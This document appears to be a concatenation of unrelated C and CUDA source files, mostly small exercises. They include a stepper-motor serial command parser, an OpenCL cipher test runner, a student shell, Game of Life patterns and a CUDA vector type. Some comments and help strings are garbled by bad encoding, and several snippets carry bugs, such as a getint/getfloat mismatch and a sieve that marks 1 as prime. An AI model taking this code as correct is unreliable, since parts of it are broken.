for(i=0; i<*tamano; i++)
{
printf("Dame el elemento %d de tu arreglo: ", i);
scanf("%d", &Arreglo[i]);
fflush(stdin);
}
}
void recorrerArreglo(int Arreglo[20], int tamano)
{
int i;
for(i=0; i<tamano; i++)
{
printf("El elemento %d de tu arreglo vale %d.\n", i, Arreglo[i]);
}
}
void inicializarArreglo(int Arreglo[20])
{
int i;
for(i=0; i<20; i++)
{
Arreglo[i]=0;
}
}
|
C
|
#include "MSD_test.h"
#include <math.h>
#include <stdlib.h>
#include "./usart/bsp_debug_usart.h"
#include "./key/bsp_exti.h"
#include "MicroStepDriver.h"
void ShowHelp(void);
void ShowData(int position, int acceleration, int deceleration, int speed, int steps);
void Delay(__IO u32 nCount);
/*! \brief ӡ
*/
void ShowHelp(void)
{
printf("\n\r-");
printf("\n\r尴KEY1ֹ(ѻ״̬) KEY2ָ ");
printf("\nstepsΪʱ˳ʱתΪʱʱ \n");
printf("\n move:steps,accel,decel,speedسò(壬ٶȣٶȣٶ)\r");
printf("\n: move:6400,20,20,20\n\r");
printf("\n modex,cy:+-y ٶȦxΪ1,2ֱΪ͡,y ΪȦ,+- Ϊ˳ʱ\r");
printf("\n modex,cy:+-1/y ٶȦ, 1/y Ϊy֮һȦ,+- Ϊ˳ʱ\r");
printf("\n: mode2,cy:1 mode1,cy:-1/4\\n\n\n\n\n");
}
/*! \brief ӡ
* \param acceleration ٶ
* \param deceleration ٶ
* \param speed ٶ
* \param steps ƶ
*/
void ShowData(int position, int acceleration, int deceleration, int speed, int steps)
{
printf(":%d",steps);
printf(" ٶ:%.2frad/s^2",1.0*acceleration);
printf(" ٶ:%.2frad/s^2",1.0*deceleration);
printf(" ٶ:%.2frad/s(%.2frpm)",1.0*speed,9.55*speed);
printf("\rǰλ: %d\r\n\r\r\r",position);
}
/**
* @brief ڽյ
* @param
* @retval
*/
void DealSerialData(void)
{
static char showflag =1;
//Ĭƶ
static int steps;
//Ĭϼٶ
static int acceleration;
//Ĭϼٶ
static int deceleration;
//Ĭٶ
static int speed;
//Ĭ
static int pulse = 6400;
//յڵȦָ
static int cy_num;
// int acc_temp=0;
// int dec_temp=0;
// int speed_temp=0;
//յȷָΪTRUE
char okCmd = FALSE;
if(showflag)
{
showflag = 0;
}
//Ƿյָ
if(status.cmd == TRUE)
{
if(UART_RxBuffer[0] == 'm')
{
//Թ̶ƶ
if(UART_RxBuffer[1] == ' ')
{
//Ӵڻȡ
steps = atoi((char const *)UART_RxBuffer+2);
MSD_Move(steps, acceleration, deceleration, speed);
okCmd = TRUE;
printf("\n\r ");
}
else if(UART_RxBuffer[1] == 'o')
{
if(UART_RxBuffer[2] == 'v')
{
if(UART_RxBuffer[3] == 'e')
{
//òٶȡٶȡٶ
if(UART_RxBuffer[4] == ':')
{
int i = 6;
steps = atoi((char const *)UART_RxBuffer+5);
while((UART_RxBuffer[i] != ',') && (UART_RxBuffer[i] != 13)) i++;
i++;
acceleration = atoi((char const *)UART_RxBuffer+i);
while((UART_RxBuffer[i] != ',') && (UART_RxBuffer[i] != 13)) i++;
i++;
deceleration = atoi((char const *)UART_RxBuffer+i);
while((UART_RxBuffer[i] != ',') && (UART_RxBuffer[i] != 13)) i++;
i++;
speed = atoi((char const *)UART_RxBuffer+i);
MSD_Move(steps, acceleration, deceleration, speed);
okCmd = TRUE;
}
}
}
}
}
/*
* mode1Ϊõ٣mode2
*
*/
if(UART_RxBuffer[0] == 'm')
{
if(UART_RxBuffer[1] == 'o')
{
if(UART_RxBuffer[2] == 'd')
{
if(UART_RxBuffer[3] == 'e')
{
/* 32ϸ mode1õ٣ٶ1ٶ1ٶ1 */
if(UART_RxBuffer[4] == '1')
{
if(UART_RxBuffer[5] == ',')
{
if(UART_RxBuffer[6] == 'c')
{
if(UART_RxBuffer[7] == 'y')
{
if(UART_RxBuffer[8] == ':')
{
int i = 6;
acceleration = 1;
while((UART_RxBuffer[i] != 13)) i++;
i++;
deceleration = 1;
while((UART_RxBuffer[i] != 13)) i++;
i++;
speed = 1;
while((UART_RxBuffer[i] != 13)) i++;
i++;
/*ʽ*/
if(UART_RxBuffer[9] == '-')
{
if(UART_RxBuffer[11] == '/')
{
cy_num = atoi((char const *)UART_RxBuffer+12);//յڵȦָ
steps = -(pulse / cy_num);
MSD_Move(steps,acceleration, deceleration, speed);
okCmd = TRUE;
}
else /*ȦΪ*/
{
cy_num = atoi((char const *)UART_RxBuffer+10);//յڵȦָ
steps = -(pulse * cy_num);// = Ĭ * Ȧ
MSD_Move(steps,acceleration, deceleration, speed);
okCmd = TRUE;
}
}
else if(UART_RxBuffer[10] == '/') /*ʽ*/
{
cy_num = atoi((char const *)UART_RxBuffer+11);//յڵȦָ
steps = pulse / cy_num;
MSD_Move(steps,acceleration, deceleration, speed);
okCmd = TRUE;
}
else /*ȦΪ*/
{
cy_num = atoi((char const *)UART_RxBuffer+9);//յڵȦָ
steps = pulse * cy_num;// = Ĭ * Ȧ
MSD_Move(steps,acceleration, deceleration, speed);
okCmd = TRUE;
}
}
}
}
}
}
/* 32ϸ mode2٣ٶ40ٶ40ٶ40 */
else if(UART_RxBuffer[4] == '2')
{
if(UART_RxBuffer[5] == ',')
{
if(UART_RxBuffer[6] == 'c')
{
if(UART_RxBuffer[7] == 'y')
{
if(UART_RxBuffer[8] == ':')
{
int i = 6;
acceleration = 20;
while((UART_RxBuffer[i] != 13)) i++;
i++;
deceleration = 20;
while((UART_RxBuffer[i] != 13)) i++;
i++;
speed = 20;
while((UART_RxBuffer[i] != 13)) i++;
i++;
/*ʽ*/
if(UART_RxBuffer[9] == '-')
{
if(UART_RxBuffer[11] == '/')
{
cy_num = atoi((char const *)UART_RxBuffer+12);//յڵȦָ
steps = -(pulse / cy_num);
MSD_Move(steps,acceleration, deceleration, speed);
okCmd = TRUE;
}
else /*ȦΪ*/
{
cy_num = atoi((char const *)UART_RxBuffer+10);//յڵȦָ
steps = -(pulse * cy_num);// = Ĭ * Ȧ
MSD_Move(steps,acceleration, deceleration, speed);
okCmd = TRUE;
}
}
else if(UART_RxBuffer[10] == '/') /*ʽ*/
{
cy_num = atoi((char const *)UART_RxBuffer+11);//յڵȦָ
steps = pulse / cy_num;
MSD_Move(steps,acceleration, deceleration, speed);
okCmd = TRUE;
}
else /*ȦΪ*/
{
cy_num = atoi((char const *)UART_RxBuffer+9);//յڵȦָ
steps = pulse * cy_num;// = Ĭ * Ȧ
MSD_Move(steps,acceleration, deceleration, speed);
okCmd = TRUE;
}
}
}
}
}
}
}
}
}
}
//ָӡ
if(okCmd != TRUE)
{
printf("\n\r ...");
ShowHelp();
}
//մڽջ
status.cmd = FALSE;
uart_FlushRxBuffer();
if(status.running == TRUE)
{
if(status.out_ena == TRUE)
printf("\n...");
while(status.running == TRUE)
{
if(status.out_ena != TRUE)
break;
};
if(status.out_ena == TRUE)
{
printf("OK\n");
ShowData(stepPosition, acceleration, deceleration, speed, steps);
}
}
}//end if(cmd)
}
void Delay(__IO uint32_t nCount) //ʱ
{
for(; nCount != 0; nCount--);
}
/*********************************************END OF FILE**********************/
|
C
|
#include "test_aes.h"
#include "test_misty1.h"
#include "test_des.h"
#include "test_camellia.h"
#include "test_clefia.h"
#include "test_hight.h"
#include "test_present.h"
#include "test_seed.h"
#include "../cipher_utils.h"
#include "../benchmarks/benchmarks_main.h"
int main(){
getSystemInfo();
cl_uint ret_num_devices;
cl_uint ret_num_platforms;
cl_platform_id platform_id[32];;
cl_device_id device_id[32];
// Get Platform and Device Info
cl_int ret = clGetPlatformIDs(1, platform_id, &ret_num_platforms);
// allocate memory, get list of platforms
cl_platform_id *platforms = (cl_platform_id *) malloc(ret_num_platforms*sizeof(platform_id));
clGetPlatformIDs(ret_num_platforms, platforms, NULL);
// iterate over platforms
for (cl_uint i = 0; i < ret_num_platforms; ++i){
ret = clGetDeviceIDs(platforms[i], CL_DEVICE_TYPE_GPU, 1, device_id, &ret_num_devices);
if(ret != CL_SUCCESS){
printf("Failed to find device : %d\n",ret);
}
}
free(platforms);
int aesResult = testAESAll(device_id);
int misty1Result = testMisty1All(device_id);
int desResult = testDESAll(device_id);
int cameliaResult = testCamelliaAll(device_id);
int clefiaResult = testClefiaAll(device_id);
int seedResult = testSeedAll(device_id);
int presentResult = testPresentAll(device_id);
int hightResult = testHightAll(device_id);
int endResult = aesResult && misty1Result && desResult && cameliaResult && clefiaResult && seedResult && presentResult && hightResult;
if(endResult != 0){
printf("\nALL TEST PASSED SUCCESSEFULLY\n");
}else{
printf("\nSOME TEST FAILED\n");
}
mainBench(device_id);
}
|
C
|
/* Exercise 5-1. As written, getint treats a + or - not followed by a digit as
* a valid representation of zero. Fix it to push such a character back on the
* input.
*
* 只判断下一个字符(跳过空字符)是否属于整数,
* - 是则继续读取直到当前整数结束;
* - 否则ungetch当前字符
* 并返回"EOF、0、正数"分别表示当前字符属于"EOF、数字、其他" */
#include "stdio.h"
#include "ctype.h"
#define STKSIZE 100
void ungetch(int c);
int getch(void);
int getfloat(int *pn);
int main(void) {
int n;
if (!getint(&n))
printf("%d\n", n);
return 0;
}
int getfloat(int *pn) {
int c;
char sign;
// skip spaces
while (isspace(c = getch()))
;
if (c == EOF) {
ungetch(c);
return c;
}
sign = (c == '-') ? -1 : 1;
if (c == '+' || c == '-')
// 实现要求
if (!isdigit(c=getch())) {
ungetch(c);
return c;
}
if (!isdigit(c)) {
ungetch(c);
return c;
}
*pn = 0;
for (;isdigit(c); c = getch())
*pn = *pn * 10 + c - '0';
*pn *= sign;
return 0;
}
int stack[STKSIZE];
size_t stkp;
int getch(void) {
return stkp > 0 ? stack[--stkp] : getchar();
}
void ungetch(int c) {
if (stkp < STKSIZE)
stack[stkp++] = c;
else
printf("error: stack is now full\n");
}
|
C
|
#pragma once
#include <Utility/CUDAInclude.h>
struct CUDAVec3
{
union
{
float data[3];
struct { float x, y, z; };
};
__host__ __device__ __forceinline__
CUDAVec3() { x = 0.f; y = 0.f; z = 0.f; }
__host__ __device__ __forceinline__
CUDAVec3( float v ) { x = v; y = v; z = v; }
__host__ __device__ __forceinline__
CUDAVec3( float xx, float yy, float zz ) { x = xx; y = yy; z = zz; }
__host__ __device__ __forceinline__
CUDAVec3( const CUDAVec3 &v ) { x = v.x; y = v.y; z = v.z; }
__host__ __device__ __forceinline__
CUDAVec3( const glm::vec3 &v ) { x = v.x; y = v.y; z = v.z; }
__host__ __device__ __forceinline__
CUDAVec3( const glm::ivec3 &v ) { x = (float)v.x; y = (float)v.y; z = (float)v.z; }
__host__ __device__ __forceinline__
operator glm::vec3() const { return glm::vec3( x, y, z ); }
__host__ __device__ __forceinline__
operator glm::ivec3() const { return glm::ivec3( (int)x, (int)y, (int)z ); }
__host__ __device__ __forceinline__
CUDAVec3& operator = ( const CUDAVec3 &rhs ) { x = rhs.x; y = rhs.y; z = rhs.z; return *this; }
__host__ __device__ __forceinline__
CUDAVec3& operator = ( const glm::vec3 &rhs ) { x = rhs.x; y = rhs.y; z = rhs.z; return *this; }
__host__ __device__ __forceinline__
CUDAVec3& operator = ( const glm::ivec3 &rhs ) { x = (float)rhs.x; y = (float)rhs.y; z = (float)rhs.z; return *this; }
__host__ __device__ __forceinline__
int majorAxis() { return ( (fabsf(x)>fabsf(y)) ? ((fabsf(x)>fabsf(z)) ? 0 : 2) : ((fabsf(y)>fabsf(z)) ? 1 : 2) ); }
__host__ __device__ __forceinline__
float& operator [] ( int i ) { return data[i]; }
__host__ __device__ __forceinline__
float operator [] ( int i ) const { return data[i]; }
__host__ __device__ __forceinline__
static float dot( const CUDAVec3 &a, const CUDAVec3 &b ) { return a.x*b.x + a.y*b.y + a.z*b.z; }
__host__ __device__ __forceinline__
static CUDAVec3 cross( const CUDAVec3 &a, const CUDAVec3 &b )
{
return CUDAVec3( a.y*b.z - a.z*b.y,
a.z*b.x - a.x*b.z,
a.x*b.y - a.y*b.x );
}
__host__ __device__ __forceinline__
static CUDAVec3 floor( const CUDAVec3 &v ) { return CUDAVec3( floorf(v.x), floorf(v.y), floorf(v.z) ); }
__host__ __device__ __forceinline__
static CUDAVec3 ceil( const CUDAVec3 &v ) { return CUDAVec3( ceilf(v.x), ceilf(v.y), ceilf(v.z) ); }
__host__ __device__ __forceinline__
static CUDAVec3 abs( const CUDAVec3 &v ) { return CUDAVec3( fabsf(v.x), fabsf(v.y), fabsf(v.z) ); }
__host__ __device__ __forceinline__
static CUDAVec3 round( const CUDAVec3 &v ) { return CUDAVec3( roundf(v.x), roundf(v.y), roundf(v.z) ); }
//From http://stackoverflow.com/questions/1903954/is-there-a-standard-sign-function-signum-sgn-in-c-c
__host__ __device__ __forceinline__
static float sign( const float v ) { return (0.f < v) - (v < 0.f);}
//From http://stackoverflow.com/questions/1903954/is-there-a-standard-sign-function-signum-sgn-in-c-c
__host__ __device__ __forceinline__
static CUDAVec3 sign( const CUDAVec3 &v ) { return CUDAVec3(sign(v.x), sign(v.y), sign(v.z) );}
__host__ __device__ __forceinline__
static CUDAVec3 min( const CUDAVec3 &v, const CUDAVec3 &w ) { return CUDAVec3( fminf(v.x, w.x), fminf(v.y, w.y), fminf(v.z,w.z) ); }
__host__ __device__ __forceinline__
static CUDAVec3 max( const CUDAVec3 &v, const CUDAVec3 &w ) { return CUDAVec3( fmaxf(v.x, w.x), fmaxf(v.y, w.y), fmaxf(v.z,w.z) ); }
__host__ __device__ __forceinline__
static CUDAVec3 mix(const CUDAVec3 &v, const CUDAVec3 &w, const CUDAVec3 &a) { return CUDAVec3(v.x*(1.f-a.x)+w.x*a.x, v.y*(1.f-a.y)+w.y*a.y, v.z*(1.f-a.z)+w.z*a.z); }
__host__ __device__ __forceinline__
static CUDAVec3 mix(const CUDAVec3 &v, const CUDAVec3 &w, float a) { return CUDAVec3(v.x*(1.f-a)+w.x*a, v.y*(1.f-a)+w.y*a, v.z*(1.f-a)+w.z*a); }
__host__ __device__ __forceinline__
static float length2( const CUDAVec3 &v ) { return v.x*v.x + v.y*v.y + v.z*v.z; }
__host__ __device__ __forceinline__
static float length( const CUDAVec3 &v ) { return sqrtf( v.x*v.x + v.y*v.y + v.z*v.z ); }
__host__ __device__ __forceinline__
static CUDAVec3 normalize( const CUDAVec3 &v ) { float f = 1.f/sqrtf(v.x*v.x+v.y*v.y+v.z*v.z); return CUDAVec3( f*v.x, f*v.y, f*v.z ); }
__host__ __device__ __forceinline__
CUDAVec3& mult (float f ) { x *= f; y *= f; z *= f; return *this;}
__host__ __device__ __forceinline__
CUDAVec3& add (float f ) { x += f; y += f; z += f; return *this;}
__host__ __device__ __forceinline__
CUDAVec3& add (const CUDAVec3 &v ) { x += v.x; y += v.y; z += v.z; return *this;}
__host__ __device__ __forceinline__
CUDAVec3& operator += ( const CUDAVec3 &rhs ) { x += rhs.x; y += rhs.y; z += rhs.z; return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator + ( const CUDAVec3 &rhs ) const { return CUDAVec3( x+rhs.x, y+rhs.y, z+rhs.z ); }
__host__ __device__ __forceinline__
CUDAVec3& operator -= ( const CUDAVec3 &rhs ) { x -= rhs.x; y -= rhs.y; z -= rhs.z; return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator - ( const CUDAVec3 &rhs ) const { return CUDAVec3( x-rhs.x, y-rhs.y, z-rhs.z ); }
__host__ __device__ __forceinline__
CUDAVec3& operator *= ( const CUDAVec3 &rhs ) { x *= rhs.x; y *= rhs.y; z *= rhs.z; return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator * ( const CUDAVec3 &rhs ) const { return CUDAVec3( x*rhs.x, y*rhs.y, z*rhs.z ); }
__host__ __device__ __forceinline__
CUDAVec3& operator /= ( const CUDAVec3 &rhs ) { x /= rhs.x; y /= rhs.y; z /= rhs.z; return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator / ( const CUDAVec3 &rhs ) const { return CUDAVec3( x/rhs.x, y/rhs.y, z/rhs.z ); }
__host__ __device__ __forceinline__
CUDAVec3& operator *= ( float f ) { x *= f; y *= f; z *= f; return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator * ( float f ) const { return CUDAVec3( f*x, f*y, f*z ); }
__host__ __device__ __forceinline__
CUDAVec3& operator *= ( double d ) { x = (float)(x*d); y = (float)(y*d); z = (float)(z*d); return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator * ( double d ) const { return CUDAVec3( (float)(x*d), (float)(y*d), (float)(z*d) ); }
__host__ __device__ __forceinline__
CUDAVec3& operator /= ( float f ) { float fi = 1.f/f; x *= fi; y *= fi; z *= fi; return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator / ( float f ) const { float fi = 1.f/f; return CUDAVec3( x*fi, y*fi, z*fi ); }
__host__ __device__ __forceinline__
CUDAVec3& operator += ( float f ) { x += f; y += f; z += f; return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator + ( float f ) const { return CUDAVec3( x+f, y+f, z+f ); }
__host__ __device__ __forceinline__
CUDAVec3& operator -= ( float f ) { x -= f; y -= f; z -= f; return *this; }
__host__ __device__ __forceinline__
CUDAVec3 operator - ( float f ) const { return CUDAVec3( x-f, y-f, z-f ); }
__host__ __device__ __forceinline__
bool valid( bool *nan = NULL ) const
{
if ( __isnanf(x) || __isnanf(y) || __isnanf(z) ) {
if ( nan ) *nan = true;
return false;
} else if ( __isinff(x) || __isinff(y) || __isinff(z) ) {
if ( nan ) *nan = false;
return false;
}
return true;
}
__host__ __device__ __forceinline__
static void print( const CUDAVec3 &v )
{
printf( "[%10f %10f %10f]\n", v.x, v.y, v.z );
}
__host__ __device__ __forceinline__
bool operator == ( const CUDAVec3 &v ) const
{
return EQF( x, v.x ) && EQF( y, v.y ) && EQF( z, v.z );
}
__host__ __device__ __forceinline__
bool operator != ( const CUDAVec3 &v ) const
{
return NEQF( x, v.x ) || NEQF( y, v.y ) || NEQF( z, v.z );
}
};
__host__ __device__ __forceinline__
CUDAVec3 operator - ( const CUDAVec3 &v ) { return CUDAVec3( -v.x, -v.y, -v.z ); }
__host__ __device__ __forceinline__
CUDAVec3 operator * ( float f, const CUDAVec3 &v ) { return CUDAVec3( f*v.x, f*v.y, f*v.z ); }
__host__ __device__ __forceinline__
CUDAVec3 operator * ( double f, const CUDAVec3 &v ) { return CUDAVec3( (float)(f*v.x), (float)(f*v.y), (float)(f*v.z) ); }
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
long p10(int n){
int i, j;
char *a;
long sum = 0;
a = alloca(sizeof(char) * n);
memset(a, 1, n);
a[1] = 1;
for(i=2;i<n;i++){
if(a[i]){
for(j=i+i; j<n; j+=i){
a[j] = 0;
}
}
}
for(i=2;i<n;i++){
if(a[i]) sum += i;
}
return sum;
}
int main(){
printf("%ld\n", p10(2000000));
return EXIT_SUCCESS;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int size_path = 1;
// TODO: ls&ls
// TODO: Make all error messages run correctly and when they are supposed to
// TODO: empty commands
void path_command(char** out, int count, char** path) {
if (count == 3) {
if (strcmp(out[1], "add") == 0) { //add
path[size_path] = out[2];
size_path++;
} else if (strcmp(out[1], "remove") == 0) { //remove
for (int i = 0; i < size_path; i++) {
if (strcmp(path[i], out[2]) == 0) {
for (int x = i; x < size_path; x++) {
path[x] = path[x + 1];
}
path[size_path] = '\0';
size_path--;
}
}
}
} else if (count == 2) {
if (strcmp(out[1], "clear") == 0) { //clear
size_path = 0;
}
}
}
void cd(char** out, int count) {
if (chdir(out[1]) != 0) {
char error_message[30] = "An error has occurred\n";
write(STDERR_FILENO, error_message, strlen(error_message));
}
}
void runcommand(char** command, int size_command, char** path, FILE* redirection) {
char check[1024];
if (redirection != NULL) {
int newfd = fileno(redirection);
dup2(newfd, 1);
dup2(newfd, 2);
}
for (int i = 0; i < size_path; i++) {
//build each path with executable
snprintf(check, 1024, "%s/%s", path[i], command[0]);
//check if executable can run
if (access(check, X_OK) == 0) {
//run the command
execv(check, command);
}
}
char error_message[30] = "An error has occurred\n";
write(STDERR_FILENO, error_message, strlen(error_message));
}
void parsecommand(char** command, int size_command, char** path) {
char*and = "&";
char* semicolon = ";";
char** allcommands[256];
int lengthcommand[256];
for (int o = 0; o < 256; o++) {
lengthcommand[o] = 0;
}
int numcommands = 0;
int doulberedirect = -1;
char** cla = malloc(sizeof(char*) * 256);
int i = 0;
int size = 0;
FILE** redirection = malloc(sizeof(FILE*) * 256);
//run through each CLA and handle special syntax
while (i < size_command) {
//create a file for redirection and place in array
if (strcmp(command[i], ">") == 0) {
if (doulberedirect != 1) {
i++;
redirection[numcommands] = fopen(command[i], "w");
i++;
}
if (i < size_command && strcmp(command[i], ">") == 0) {
doulberedirect = 1;
}
} else if (strcmp(command[i], "&") == 0) {
allcommands[numcommands] = cla;
lengthcommand[numcommands] = size;
numcommands++;
allcommands[numcommands] = ∧
lengthcommand[numcommands] = 1;
numcommands++;
size = 0;
cla = malloc(sizeof(char*) * 256);
i++;
} else if (strcmp(command[i], ";") == 0) {
allcommands[numcommands] = cla;
lengthcommand[numcommands] = size;
numcommands++;
allcommands[numcommands] = &semicolon;
lengthcommand[numcommands] = 1;
numcommands++;
size = 0;
i++;
cla = malloc(sizeof(char*) * 256);
} else {
cla[size] = command[i];
size++;
i++;
}
}
allcommands[numcommands] = cla;
lengthcommand[numcommands] = size;
numcommands++;
char check[1024];
int* isgood = calloc(numcommands, sizeof(int));
//check to see if all commands are valid
for (int x = 0; x < numcommands; x++) {
if (strcmp(allcommands[x][0], "cd") == 0) {
if (lengthcommand[x] == 2) {
isgood[x] = 1;
}
} else if (strcmp(allcommands[x][0], "path") == 0) {
if (lengthcommand[x] == 2) {
if (strcmp(allcommands[x][1], "clear") == 0) {
isgood[x] = 1;
}
} else if (lengthcommand[x] == 3) {
if (strcmp(allcommands[x][1], "add") == 0 || strcmp(allcommands[x][1], "remove") == 0) {
isgood[x] = 1;
}
}
} else if (strcmp(allcommands[x][0], "exit") == 0) {
if (lengthcommand[x] == 1) {
isgood[x] = 1;
}
} else if (strcmp(allcommands[x][0], "&") == 0 || strcmp(allcommands[x][0], ";") == 0) {
isgood[x] = 1;
} else {
for (int j = 0; j < size_path; j++) {
snprintf(check, 1024, "%s/%s", path[j], allcommands[x][0]);
if (access(check, X_OK) == 0) {
isgood[x] = 1;
}
}
}
}
//if one of the commands is invalid do not run
int checkgood = 1;
for (int x = 0; x < numcommands; x++) {
if (isgood[x] != 1) {
checkgood = -1;
}
}
if (doulberedirect == 1) {
checkgood = -1;
}
//don't run commands when invalid
if (checkgood != 1) {
char error_message[30] = "An error has occurred\n";
write(STDERR_FILENO, error_message, strlen(error_message));
} else {
//run all commands
int children = 0;
for (int x = 0; x < numcommands; x++) {
if (strcmp(allcommands[x][0], ";") == 0) {
for (int j = 0; j < children; j++) {
wait(NULL);
// wait for all commands currently running to finish
}
children = 0;
} else if (strcmp(allcommands[x][0], "&") == 0) {
// skip
} else {
if (strcmp(allcommands[x][0], "cd") == 0) {
cd(allcommands[x], lengthcommand[x]);
} else if (strcmp(allcommands[x][0], "path") == 0) {
path_command(allcommands[x], lengthcommand[x], path);
} else if (strcmp(allcommands[x][0], "exit") == 0) {
free(cla);
for (int j = 0; j < 256; j++) {
if(redirection[j] != NULL){
fclose(redirection[j]);
}
}
free(redirection);
exit(0);
} else {
int pid = fork();
if (pid == 0) {
runcommand(allcommands[x], lengthcommand[x], path, redirection[x]);
} else {
children++;
}
}
}
}
for (int x = 0; x < children; x++) {
wait(NULL);
}
}
}
void mainloop(FILE* file) {
char** path = malloc(sizeof(char*) * 256);
path[0] = "/bin";
char* input;
size_t size = 0;
if (file == stdin) { //don't write prompt to file
printf("smash> ");
fflush(stdout);
}
//while not EOF
while (getline(&input, &size, file) != -1) {
//stores the CLA input
char** out = malloc(sizeof(char*) * 256);
int count = -1;
//seperate out each CLA
while ((out[count + 1] = strtok_r(input, " ", &input)) != NULL) {
char* tabs;
while ((tabs = strstr(out[count + 1], "\t")) != NULL) {
int index = tabs - out[count + 1];
memmove(&out[count + 1][index], &out[count + 1][index] + 1, strlen(out[count + 1]) - index);
}
count++;
}
//if just an endline rerun loop
if (strcmp(out[0], "\n") != 0) {
//remove the \n from the last item
out[count][strcspn(out[count], "\n")] = '\0';
//exit command
if (strcmp(out[0], "exit") == 0) {
if (count == 0) {
free(out);
free(path);
fclose(file);
exit(0);
} else {
char error_message[30] = "An error has occurred\n";
write(STDERR_FILENO, error_message, strlen(error_message));
}
} else { //other command
char** command = malloc(sizeof(char*) * 256);
int size_command = 0;
//create an array with each CLA its own element
for (int i = 0; i <= count; i++) {
if (strcmp(out[i], "") != 0 && out[i][0] != '\0') {
command[size_command] = out[i];
size_command++;
}
}
for(int i = 0; i < size_command; i++){
printf("%s\n", command[i]);
}
parsecommand(command, size_command, path);
free(command);
}
}
if (file == stdin) {
printf("smash> ");
fflush(stdout);
}
}
fclose(file);
exit(0);
}
int main(int argc, char* argv[]) {
if (argc == 1) {
mainloop(stdin);
} else if (argc == 2) {
FILE* file = fopen(argv[1], "r");
if (file == NULL) {
char error_message[30] = "An error has occurred\n";
write(STDERR_FILENO, error_message, strlen(error_message));
exit(1);
}
mainloop(file);
} else {
char error_message[30] = "An error has occurred\n";
write(STDERR_FILENO, error_message, strlen(error_message));
exit(1);
}
}
|
C
|
#include <string.h>
#include <stdio.h>
# include "lifeobj.h"
# include "cell.h"
static void rev(int sx, int sy, int to[sy * sx], int target[]){
for(int i = 0; i < sy; i++) {
for(int j = 0; j < sx; j++) {
to[i * sx + j] = target[(sy - 1 - i) * sx + j];
}
}
}
void obj_copy(struct game_map* game, struct life_object* lifeobj, int x, int y, enum direction dir) {
int size = lifeobj -> size_y * lifeobj -> size_x;
int objmap[size];
if(dir & MIRROR) {
rev(lifeobj -> size_x, lifeobj -> size_y, objmap, lifeobj -> obj);
dir ^= MIRROR;
} else {
memcpy(objmap, lifeobj -> obj, size * sizeof(int));
}
switch(dir) {
case RIGHT:
for(int i = 0; i < lifeobj -> size_y; i++) {
for(int j = 0; j < lifeobj -> size_x; j++) {
game -> cells[y + i][x + j].is_alive = objmap[i * lifeobj -> size_x + j];
}
}
break;
case LEFT:
for(int i = 0; i < lifeobj -> size_y; i++) {
for(int j = 0; j < lifeobj -> size_x; j++) {
game -> cells[y + i][x + j].is_alive = objmap[i * lifeobj -> size_x + lifeobj -> size_x - 1 - j];
}
}
break;
case DOWN:
for(int i = 0; i < lifeobj -> size_x; i++) {
for(int j = 0; j < lifeobj -> size_y; j++) {
game -> cells[y + i][x + j].is_alive = objmap[j * lifeobj -> size_x + i];
}
}
break;
case UP:
for(int i = 0; i < lifeobj -> size_x; i++) {
for(int j = 0; j < lifeobj -> size_y; j++) {
game -> cells[y + i][x + j].is_alive = objmap[j * lifeobj -> size_x + (lifeobj -> size_x - 1 - i)];
}
}
break;
default:
break;
}
}
struct life_object GLIDER = {3, 3, {
0, 1, 0,
0, 0, 1,
1, 1, 1,
}};
struct life_object LIGHT_SHIP = {5, 4, {
0, 0, 0, 1, 0,
0, 0, 0, 0, 1,
1, 0, 0, 0, 1,
0, 1, 1, 1, 1,
}};
struct life_object MIDDLE_SHIP = {6, 4, {
0, 0, 0, 0, 1, 0,
0, 0, 0, 0, 0, 1,
1, 0, 0, 0, 0, 1,
0, 1, 1, 1, 1, 1,
}};
struct life_object HEAVY_SHIP = {7, 4, {
0, 0, 0, 0, 0, 1, 0,
0, 0, 0, 0, 0, 0, 1,
1, 0, 0, 0, 0, 0, 1,
0, 1, 1, 1, 1, 1, 1,
}};
|
C
|
#include<stdio.h>
#include<conio.h>
main ()
{ int i=1,n;
printf("Enter The Number You Want To Check:");
scanf("%d",&n);
if(n==1)
printf("\n1 is not a prime number !");
else
{ i=2;
while(i<n)
{ if(n%i==0)
{ printf("\nNot A Prime Number ");
break;
}
i++;
}
if(i==n)
printf("Prime Number !");
}
getch();
}
|
C
|
#include <stdio.h>
int main()
{
int n,m;
while(scanf("%d%d",&n,&m)!=EOF)
{
if(n<=m)
printf("%d\n",2);
else if(n*2%m!=0)
printf("%d\n",(n*2/m)+1);
else if(n*2%m==0)
printf("%d\n",(n*2/m));
}
return 0;
}
|
C
|
#include "base.h"
#include <stdio.h>
static void say(void *obj) {
printf("%s\n", BASE(obj)->greeting);
}
static void instance_init(Object *obj) {
Base *This = BASE(obj);
This->greeting = "I am base";
}
Base *Base_new(void) { return (Base *)object_new(TYPE_BASE); }
static void class_init(ObjectClass *oc, void *data) {
BaseClass *base = BASE_CLASS(oc);
base->say = say;
}
static const TypeInfo type_info = {
.name = TYPE_BASE,
.parent = TYPE_OBJECT,
.instance_size = sizeof(Base),
.abstract = false,
.class_size = sizeof(BaseClass),
.instance_init = instance_init,
.class_init = class_init,
};
void Base_register(void) { type_register_static(&type_info); }
|
C
|
#include<stdio.h>
int main()
{
printf("%e %d\n",1234567.89,455);
printf("%e\n",+1234567.89);
printf("%e\n",-1234567.89);
printf("%E\n",1234567.89);
printf("%f\n",1234567.89);
printf("%g\n",1234567.89);
printf("%G\n",1234567.89);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int* soma_matriz(int *a, int *b){
int *c = (int*)malloc(sizeof(int)*9);
for(int i=0; i<3; i++){
for(int j=0; j<3; j++){
c[(i*3)+j] = a[(i*3)+j] + b[(i*3)+j];
}
}
return c;
}
void print_matriz(int *a){
for(int i=0; i<3; i++){
for(int j=0; j<3; j++){
printf("%i ",a[(i*3)+j]);
}
printf("\n");
}
}
int main(int argc, char const *argv[]){
int matrizA[3][3] = {{2,3,-1},{0,-2,-1},{0,0,5}};
